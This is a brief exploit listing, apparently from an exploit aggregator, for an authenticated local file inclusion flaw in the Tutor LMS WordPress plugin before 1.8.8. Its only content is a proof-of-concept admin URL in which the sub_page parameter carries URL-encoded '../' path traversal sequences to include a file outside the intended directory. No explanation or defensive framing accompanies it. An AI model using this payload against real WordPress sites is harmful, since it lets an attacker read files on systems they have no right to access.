Exploit for Tutor LMS < 1.8.8 - Authenticated Local File Inclusion
Exploit Code
## https://sploitus.com/exploit?id=WPEX-ID:20F3E63A-31D8-49A0-B4EF-209749FEFF5C
https://your.domain/wp-admin/admin.php?page=tutor-tools&sub_page=..%2F..%2F..%2F..%2F..%2F..%2Findex